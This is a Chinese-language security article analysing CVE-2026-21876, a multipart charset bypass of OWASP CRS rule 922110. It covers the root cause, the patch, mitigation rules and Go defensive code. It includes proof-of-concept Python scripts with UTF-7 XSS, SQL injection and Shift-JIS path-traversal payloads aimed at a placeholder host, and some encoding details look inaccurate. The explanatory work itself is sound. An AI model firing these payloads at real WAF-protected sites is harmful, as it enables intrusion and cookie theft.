Announcement

👇Official Account👇

Welcome to join the group & private message

Article first/tail QR code

Skip to content

CVE-2026-21876 深度复现:OWASP CRS 规则 922110 multipart 字符集绕过让 WAF 彻底失效

2026 年 1 月 6 日,OWASP 核心规则集(CRS)团队披露了一个影响规则 922110 的严重安全漏洞。CVE-2026-21876 的 CVSS 评分为 9.3,是近年来发现的最严重的 Web 应用防火墙(WAF)绕过漏洞之一。

如果你正在运行 ModSecurity 与 OWASP CRS(从统计数据来看,如果你有 WAF,很可能就是这种情况),你需要了解此漏洞并立即修补

漏洞概述

属性
CVE 编号CVE-2026-21876
CVSS 评分9.3(严重)
影响范围CRS 3.0.0 ~ 4.21.0(所有受支持版本)
修复版本CRS 4.22.0 / CRS 3.3.8
影响引擎ModSecurity 2.x、3.x / libmodsecurity / Coraza(所有版本)
攻击向量网络(无需认证、无需用户交互)
攻击复杂度

规则 922110 在偏执等级 1(Paranoia Level 1)下默认启用,这意味着如果你使用 CRS,你就容易受到攻击,除非你明确禁用了此规则(这种情况极少发生)。

攻击方式:比想象的更简单

这个漏洞之所以特别危险,在于其利用方式极其简单。攻击者只需发送一个包含多个部分的 multipart HTTP 请求,在第一部分放置恶意字符集编码(如 UTF-7),在最后一部分放置合法字符集(如 UTF-8):

http
POST /api/comment HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Host: target-site.com

------WebKitFormBoundary
Content-Disposition: form-data; name="comment"
Content-Type: text/plain; charset=utf-7

+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-
------WebKitFormBoundary
Content-Disposition: form-data; name="dummy"
Content-Type: text/plain; charset=utf-8

legitimate_data
------WebKitFormBoundary--

第一部分中看似无意义的乱码?那正是 UTF-7 编码后的 <script>alert(document.cookie)</script>。在补丁发布之前,你的 WAF 会放行该请求

UTF-7 编码原理与攻击利用

什么是 UTF-7

UTF-7 是一种可变长度编码,设计用于在仅支持 7 位 ASCII 的传输通道中传递 Unicode 字符。它使用 + 作为编码起始标记,- 作为结束标记,中间是 Modified Base64 编码的 Unicode 数据。

python
# UTF-7 编码解码示例
def utf7_encode(text: str) -> str:
    """将字符串编码为 UTF-7"""
    result = []
    in_encoded = False
    buffer = ""

    for char in text:
        if ord(char) < 128:
            # ASCII 可直接传递
            if in_encoded:
                # 结束编码块
                result.append(buffer + "-")
                buffer = ""
                in_encoded = False
            result.append(char)
        else:
            # 需要编码
            if not in_encoded:
                result.append("+")
                in_encoded = True
            buffer += base64_encode_char(char)

    if in_encoded:
        result.append(buffer + "-")

    return "".join(result)

# 关键编码示例
# < → +ADw-
# > → +AD4-
# / → +ADw-
# " → +ACI-

# 因此 <script>alert(document.cookie)</script>
# 编码为:+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-

为什么 UTF-7 对 WAF 特别危险

UTF-7 XSS 是一种有据可查的攻击技术。大多数现代 XSS 过滤器都专注于检测 UTF-8 中的 <script> 标签和 JavaScript 模式,对 UTF-7 "视而不见"

python
# WAF 正则匹配:检测 <script> 标签
# 旧版规则只检测 UTF-8/ASCII 编码
dangerous_pattern = r'<script[^>]*>|javascript:|onerror\s*=|onload\s*='

# UTF-7 编码后的载荷完全绕过此匹配
utf7_payload = "+ADw-script+AD4-alert(1)+ADw-/script+AD4-"
# re.search(dangerous_pattern, utf7_payload) → None ✅ 绕过成功

# 但浏览器(老旧 IE)解码后:
# decoded → "<script>alert(1)</script>" ← XSS 触发

同样的原理也适用于其他危险编码:

  • UTF-16 和 UTF-32:可绕过 SQL 注入过滤器
  • Shift-JIS、EUC-JP:可实现字符集混淆攻击
  • 任何非标准字符集:都有安全绕过的潜在风险

漏洞根源:链式规则迭代的致命缺陷

规则 922110 的设计初衷是在 WAF 层捕获这些攻击,在它们到达应用程序之前进行拦截。它应该只允许安全的字符集(UTF-8、ISO-8859-1、ISO-8859-15、Windows-1252),并阻止其他所有字符集。但实际上,它并未生效。

该漏洞并非由草率的编码或拼写错误引起,而是三个设计元素之间微妙交互的结果:

  1. ModSecurity 的链式规则处理
  2. 集合变量迭代
  3. 全局捕获变量行为

存在漏洞的规则代码

scss
SecRule MULTIPART_PART_HEADERS "@rx ^content-type\s*:\s*(.*)$" \
    "id:922110,phase:2,block,capture,chain"
    SecRule TX:1 "!@rx ^(?:...allowed charsets...)$" \
        "block"

看起来合理:父规则查找 Content-Type 头部,将字符集值捕获到 TX:1 中,然后链式规则对其进行验证。

致命缺陷:迭代覆盖

当 ModSecurity 对集合(如包含多个部分的 MULTIPART_PART_HEADERS)处理规则时,它会遍历所有成员,每次覆盖捕获变量,然后只使用最后一次捕获的值执行链式规则一次

对于包含恶意 charset 的 multipart 请求:

迭代 1:TX:1 = "text/plain; charset=utf-7" ← 攻击载荷
迭代 2:TX:1 = "text/plain; charset=utf-8" ← 覆盖!
链式规则检查:TX:1 = "text/plain; charset=utf-8" ← 只看到合法部分
结果:攻击绕过验证 ✅

第一部分中的恶意 UTF-7 载荷被完全忽略

ModSecurity 集合迭代机制详解

ModSecurity 的 MULTIPART_PART_HEADERS 是一个集合变量,包含 multipart 请求中每个部分的头部信息。当规则操作符(如 @rx)作用于集合变量时,ModSecurity 会遍历所有集合成员:

假设 multipart 请求包含 3 个部分:

MULTIPART_PART_HEADERS = {
  "Content-Type: text/plain; charset=utf-7",   // 部分 1(恶意)
  "Content-Type: text/plain; charset=utf-8",   // 部分 2(合法)
  "Content-Type: text/plain; charset=iso-8859-1" // 部分 3(合法)
}

父规则处理流程:
1. 匹配第 1 个成员 → TX:1 = "charset=utf-7"(捕获)
2. 匹配第 2 个成员 → TX:1 = "charset=utf-8"(覆盖前值)
3. 匹配第 3 个成员 → TX:1 = "charset=iso-8859-1"(再次覆盖)
4. 链式规则执行 → 只验证 TX:1 = "charset=iso-8859-1" → 合法 → 放行!

问题核心:捕获变量的生命周期跨越整个集合迭代,而链式规则只在迭代完成后执行一次。这是 ModSecurity 的设计决策(性能优化),而非 Bug——但它在安全场景下产生了灾难性后果。

完整 PoC 复现

环境搭建

bash
# 1. 安装 ModSecurity + Apache
apt-get install -y apache2 libmodsecurity3 modsecurity-crs

# 2. 启用 ModSecurity
cd /etc/modsecurity
cp modsecurity.conf-recommended modsecurity.conf
# 修改 SecRuleEngine DetectionOnly → SecRuleEngine On

# 3. 检查 CRS 版本
grep "ver:'OWASP_CRS/" /usr/share/modsecurity-crs/rules/REQUEST-922-MULTIPART-ATTACK.conf
# 如果显示版本 < 4.22.0 或 < 3.3.8 → 你受影响

# 4. 检查规则 922110 是否启用
grep "id:922110" /usr/share/modsecurity-crs/rules/REQUEST-922-MULTIPART-ATTACK.conf
# 偏执等级 1 默认启用 → 大多数安装都会受影响

XSS 绕过 PoC

python
#!/usr/bin/env python3
"""
CVE-2026-21876 PoC:UTF-7 charset WAF bypass
通过 multipart 请求前部嵌入 UTF-7 编码载荷,后部放置合法 charset
绕过 OWASP CRS 规则 922110 的字符集检查
"""
import requests

TARGET = "http://target-site.com/api/comment"

# UTF-7 编码的 XSS 载荷
# <script>alert(document.cookie)</script>
# → +ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-
utf7_xss_payload = "+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"

# 构造 multipart 请求
# 关键:恶意 charset 在前部,合法 charset 在后部
multipart_data = {
    "comment": (None, utf7_xss_payload, "text/plain; charset=utf-7"),
    "dummy": (None, "legitimate_data", "text/plain; charset=utf-8"),
}

response = requests.post(TARGET, files=multipart_data)
print(f"Status: {response.status_code}")
print(f"Response: {response.text[:200]}")

# 如果 WAF 正常工作,应该返回 403
# 但 CVE-2026-21876 存在时,请求被放行

SQL 注入绕过 PoC

python
#!/usr/bin/env python3
"""
CVE-2026-21876 PoC:SQL 注入 UTF-16 编码 WAF bypass
"""
import requests

TARGET = "http://target-site.com/api/search"

# UTF-16 编码的 SQL 注入载荷
# ' OR 1=1 -- → UTF-16 编码后
sql_payload = "\uff07\uff20\uff4f\uff52\uff20\uff11\uff3d\uff11\uff20\uff2d\uff2d"

multipart_data = {
    "query": (None, sql_payload, "text/plain; charset=utf-16le"),
    "safe_field": (None, "normal_data", "text/plain; charset=utf-8"),
}

response = requests.post(TARGET, files=multipart_data)
print(f"Status: {response.status_code}")

Shift-JIS 字符集混淆 PoC

python
#!/usr/bin/env python3
"""
CVE-2026-21876 PoC:Shift-JIS 字符集混淆绕过
利用 Shift-JIS 的多字节特性混淆 WAF 检测
"""
import requests

TARGET = "http://target-site.com/api/upload"

# Shift-JIS 中 0x5C 被解释为日文字符的一部分
# 但在某些上下文中 0x5C = 反斜杠 → 可用于路径穿越
path_traversal = "..\x5c..\x5c..\x5c/etc/passwd"

multipart_data = {
    "file_path": (None, path_traversal, "text/plain; charset=shift_jis"),
    "description": (None, "normal description", "text/plain; charset=utf-8"),
}

response = requests.post(TARGET, files=multipart_data)

自动化检测脚本

bash
#!/bin/bash
# CVE-2026-21876 自动检测脚本
# 检查你的 CRS 版本是否受影响

TARGET_SITE="${1:?Usage: $0 <target_url>}"

echo "=== CVE-2026-21876 检测 ==="
echo "目标: $TARGET_SITE"

# 检查 CRS 版本(如果可访问)
echo -e "\n[1] 检查本地 CRS 版本"
if [ -f "/usr/share/modsecurity-crs/rules/REQUEST-922-MULTIPART-ATTACK.conf" ]; then
    CRS_VER=$(grep "ver:'OWASP_CRS/" /usr/share/modsecurity-crs/rules/REQUEST-922-MULTIPART-ATTACK.conf | head -1)
    echo "CRS 版本: $CRS_VER"

    # 检查修复规则是否存在
    if grep -q "id:922140" /usr/share/modsecurity-crs/rules/REQUEST-922-MULTIPART-ATTACK.conf; then
        echo "✅ 修复已应用(规则 922140/922150 存在)"
    else
        echo "❌ 修复未应用(规则 922140/922150 不存在)→ 你受影响!"
    fi
else
    echo "⚠️  无法访问本地 CRS 配置"
fi

# 发送测试请求
echo -e "\n[2] 发送 UTF-7 绕过测试请求"
UTF7_PAYLOAD="+ADw-script+AD4-alert('CVE-2026-21876-test')+ADw-/script+AD4-"

RESPONSE=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "$TARGET_SITE" \
    -F "comment=$UTF7_PAYLOAD;type=text/plain;charset=utf-7" \
    -F "dummy=legitimate;type=text/plain;charset=utf-8")

if [ "$RESPONSE" = "403" ]; then
    echo "✅ WAF 正常拦截(状态码 403)"
elif [ "$RESPONSE" = "200" ]; then
    echo "❌ WAF 绕过成功(状态码 200)→ CVE-2026-21876 可能存在!"
else
    echo "⚠️  异常响应(状态码 $RESPONSE)"
fi

echo -e "\n=== 检测完成 ==="

修复方案解析

OWASP CRS 团队以令人印象深刻的速度交付了修复方案——从 1 月 2 日发现到 1 月 6 日发布补丁版本。修复方案的工程优雅性值得深入学习。

核心挑战

当 ModSecurity 的链式规则行为只让你看到最后一部分时,如何检查所有 multipart 部分?

修复方案:分步存储 + 模式匹配验证

scss
# 步骤 1:初始化计数器
SecRule &MULTIPART_PART_HEADERS "@gt 0" \
    "id:922140,pass,setvar:'tx.multipart_headers_content_counter=0'"

# 步骤 2:将每个字符集捕获到唯一变量
SecRule MULTIPART_PART_HEADERS "@rx ^content-type\s*:\s*(.*)$" \
    "id:922150,pass,capture,setvar:'tx.multipart_headers_content_types_%{tx.counter}=%{tx.1}',setvar:'tx.counter=+1'"

# 步骤 3:使用正则表达式模式匹配验证所有捕获的值
SecRule TX:/MULTIPART_HEADERS_CONTENT_TYPES_*/ "!@rx ^(?:...allowed charsets...)$" \
    "id:922110,block"

修复方案的设计精髓:

  1. 分步捕获:不再在链式规则中直接验证,而是先将每个字符集值存储到唯一编号的变量中(TX:multipart_headers_content_types_0TX:multipart_headers_content_types_1 等)
  2. 模式匹配验证:使用 TX:/MULTIPART_HEADERS_CONTENT_TYPES_*/ 正则匹配模式,一次性验证所有存储的值
  3. 任何部分不合法 → 阻止整个请求

这种方法:

  • ✅ 检查所有部分,不仅仅是最后一个
  • ✅ 处理重复的部分名称(计数器确保唯一性)
  • ✅ 适用于所有正则表达式引擎(无需前瞻或反向引用)
  • ✅ 性能开销极小
  • ✅ 向后兼容

修复规则的工作流程对比

旧规则 922110(有漏洞):
┌──────────────────────────────────────────────────┐
│ MULTIPART_PART_HEADERS = [charset=utf-7, utf-8]  │
│                                                    │
│ 父规则迭代:                                       │
│   迭代 1 → TX:1 = "charset=utf-7"               │
│   迭代 2 → TX:1 = "charset=utf-8" ← 覆盖!       │
│                                                    │
│ 链式规则验证 TX:1 = "charset=utf-8" → 合法 → 放行│
│ ❌ 漏洞:恶意 charset=utf-7 未被检查              │
└──────────────────────────────────────────────────┘

新规则 922140 + 922150 + 922110(修复后):
┌──────────────────────────────────────────────────┐
│ MULTIPART_PART_HEADERS = [charset=utf-7, utf-8]  │
│                                                    │
│ 922140:初始化 counter = 0                        │
│                                                    │
│ 922150 迭代:                                      │
│   迭代 1 → TX:mhct_0 = "charset=utf-7"          │
│   迭代 2 → TX:mhct_1 = "charset=utf-8"          │
│   (每个值存储到独立变量,不覆盖)                  │
│                                                    │
│ 922110:验证 TX:/mhct_*/ 所有变量                  │
│   TX:mhct_0 = "charset=utf-7" → ❌ 不合法 → 阻止│
│ ✅ 修复:恶意 charset 被独立检查                   │
└──────────────────────────────────────────────────┘

如何保护自己

立即行动

升级到已修补的版本:

bash
# CRS 4.x 用户
cd /usr/share/modsecurity-crs
git pull origin v4.22.0
# 或直接下载
wget https://github.com/coreruleset/coreruleset/releases/download/v4.22.0/coreruleset-4.22.0.tar.gz

# CRS 3.3.x 用户
wget https://github.com/coreruleset/coreruleset/releases/download/v3.3.8/coreruleset-3.3.8.tar.gz

验证修复

bash
# 检查 CRS 版本
grep "ver:'OWASP_CRS/" /path/to/rules/REQUEST-922-MULTIPART-ATTACK.conf
# 应显示版本 4.22.0 或 3.3.8+

# 验证新的辅助规则是否存在
grep "id:922140" /path/to/rules/REQUEST-922-MULTIPART-ATTACK.conf
grep "id:922150" /path/to/rules/REQUEST-922-MULTIPART-ATTACK.conf

# 如果这两个规则存在,修复已应用

临时缓解措施(无法立即升级时)

如果无法立即升级,可以通过自定义规则暂时缓解:

scss
# 临时缓解:严格验证所有 multipart 部分的 charset
# 在 CRS 规则加载之前添加此规则

SecRule MULTIPART_FILENAME "!@rx ^$" \
    "id:999001,phase:2,pass,nolog"

SecRule MULTIPART_PART_HEADERS "@rx charset\s*=\s*(utf-7|utf-16|utf-32|shift_jis|euc-jp)" \
    "id:999002,phase:2,block,msg:'Potential charset bypass attempt',severity:CRITICAL"

这个临时规则不如官方修复优雅,但能阻止最常见的 UTF-7 和其他非标准字符集攻击。

日志审查

bash
# 检查 WAF 日志中过去是否有可疑的 multipart 请求
grep "multipart" /var/log/apache2/modsec_audit.log | \
    grep -i "charset" | \
    grep -v "charset=utf-8" | \
    tail -50

# 检查是否有 UTF-7 相关请求
grep -i "utf-7" /var/log/apache2/modsec_audit.log

漏洞为何存在多年

令人不安的真相:自规则 922110 引入以来,该漏洞就已存在,并影响了所有受支持的 CRS 版本。

一个严重的安全缺陷如何在最广泛部署的 WAF 规则集中"潜伏"多年?

完美风暴

  1. 触发条件组合:需要 multipart 数据 + 多个部分 + 非最后位置包含恶意字符集
  2. ModSecurity 行为微妙:集合链式规则行为虽有文档,但相当晦涩
  3. 测试盲区:测试主要集中在单部分场景,多部分边缘场景未被覆盖
  4. 攻击知识门槛:基于字符集的绕过不如 SQL 注入常见,容易被忽视
  5. 发现者:研究员 "some0ne" 在思考字符集问题时进行小规模实验发现了此漏洞

有时,最有影响力的漏洞并非通过大规模扫描发现,而是通过对边缘情况的创造性思考。

对安全架构的启示

1. 纵深防御仍然关键

WAF 被绕过了,但 WAF 本就不应该是唯一的防线。如果应用程序存在 XSS 漏洞,并被此绕过利用,那你面临更大的问题——应用层安全才是根本

安全架构层次:

┌────────────────────────────────────┐
│ 第 1 层:应用层安全               │  ← 根本防线
│ (输入验证、输出编码、CSP)          │
├────────────────────────────────────┤
│ 第 2 层:WAF                      │  ← 辅助防线
│ (OWASP CRS、ModSecurity)           │
├────────────────────────────────────┤
│ 第 3 层:网络层安全               │  ← 基础防线
│ (防火墙、IDS/IPS)                  │
└────────────────────────────────────┘

CVE-2026-21876 绕过第 2 层 → 第 1 层必须独立有效

2. WAF 规则需要持续维护

许多组织将 WAF 规则视为"一劳永逸"的基础设施。此漏洞证明了这种做法的危险性。WAF 规则更新应成为常规补丁管理流程的一部分。

3. 测试对抗性边缘场景

常见测试覆盖 vs 缺失场景:

✅ 已覆盖:
  - 单部分 multipart 请求
  - 标准 UTF-8 字符集
  - 明文 XSS/SQLi 载荷

❌ 缺失(CVE-2026-21876 所在):
  - 多部分 multipart 请求
  - 非标准字符集(UTF-7/UTF-16)
  - 不同部分顺序的攻击载荷
  - 重复字段名

4. 理解安全工具的底层行为

有多少安全工程师真正理解 ModSecurity 如何处理链式规则?有多少人读过集合变量迭代的文档?

关键知识点:

  • ModSecurity 集合变量迭代时,捕获变量会被覆盖而非追加
  • 链式规则在迭代完成后只执行一次
  • TX:variable 是全局的,跨规则共享
  • 集合变量的成员数量取决于请求的 multipart 部分数量

Go 开发者的安全视角

如果你用 Go 开发 Web 服务,此漏洞也值得关注——即使你不使用 ModSecurity:

go
// Go multipart 处理中的字符集安全检查
func validateCharset(part *multipart.Part) error {
    // 获取 Content-Type 头部
    contentType := part.Header.Get("Content-Type")

    // 解析字符集参数
    _, params, err := mime.ParseMediaType(contentType)
    if err != nil {
        return fmt.Errorf("invalid content-type: %v", err)
    }

    charset := params["charset"]

    // 只允许安全字符集
    allowedCharsets := map[string]bool{
        "utf-8":        true,
        "iso-8859-1":   true,
        "iso-8859-15":  true,
        "windows-1252": true,
        "us-ascii":     true,
    }

    if charset != "" && !allowedCharsets[charset] {
        return fmt.Errorf("disallowed charset: %s", charset)
    }

    return nil
}

// 完整 multipart 安全处理器
func safeMultipartHandler(r *http.Request) error {
    reader, err := r.MultipartReader()
    if err != nil {
        return err
    }

    for {
        part, err := reader.NextPart()
        if err == io.EOF {
            break
        }
        if err != nil {
            return err
        }

        // 验证每个部分的字符集
        if err := validateCharset(part); err != nil {
            return fmt.Errorf("charset validation failed: %v", err)
        }

        // 读取内容并验证(即使字符集合法,也要检查内容)
        content, err := io.ReadAll(io.LimitReader(part, 1<<20)) // 限制 1MB
        if err != nil {
            return err
        }

        // 对解码后的内容进行 XSS/SQLi 检查
        if containsXSSPayload(string(content)) {
            return fmt.Errorf("XSS payload detected in part %s", part.FormName())
        }
    }

    return nil
}

CSP 作为补充防御

即使 WAF 被绕过,Content Security Policy(CSP)可以阻止 XSS 执行:

go
// 在 HTTP 响应中添加严格 CSP
func addCSPHeaders(w http.ResponseWriter) {
    w.Header().Set("Content-Security-Policy",
        "default-src 'self'; "+
        "script-src 'self'; "+
        "style-src 'self' 'unsafe-inline'; "+
        "object-src 'none'; "+
        "base-uri 'self'; "+
        "form-action 'self'")
}

UTF-7 XSS 依赖浏览器解码后执行 <script> 标签。严格的 CSP 会阻止内联脚本执行,即使载荷到达了前端——纵深防御的第二层生效。

总结

CVE-2026-21876 是一个深刻的安全教训:

层面教训
技术设计ModSecurity 集合迭代 + 捕获覆盖的微妙交互导致安全规则失效
安全架构WAF 不是唯一防线,应用层安全 + CSP 是纵深防御的关键
测试覆盖多部分、非标准字符集、边缘顺序等对抗性场景必须纳入测试
运维实践WAF 规则需要持续维护和更新,不能视为"一劳永逸"
修复工程OWASP CRS 团队的分步存储 + 模式匹配验证修复方案展示了优雅的安全工程

如果你正在运行 OWASP ModSecurity CRS,请立即升级到 4.22.0 或 3.3.8。 这不是一个"有空再打补丁"的漏洞——攻击执行极其简单,影响非常严重,修复方案已发布并经过测试。

参考资料

上次更新于: